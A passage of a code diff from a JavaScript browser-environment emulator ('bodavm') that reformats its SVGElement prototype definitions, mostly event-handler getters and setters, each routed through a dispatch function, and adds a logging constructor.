bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforematch_set", arguments)}},'prototype'); +// SVGElement对象 + +bodavm.memory.globalobj['SVGElement'] = function SVGElement() { + console.log_copy('SVGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGElement'], "SVGElement"); +bodavm.memory.globalobj['SVGElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['SVGElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('SVGElement', "className", { + configurable: true, + enumerable: true, + get: function className() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "className_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ownerSVGElement", { + configurable: true, + enumerable: true, + get: function ownerSVGElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ownerSVGElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "viewportElement", { + configurable: true, + enumerable: true, + get: function viewportElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "viewportElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, 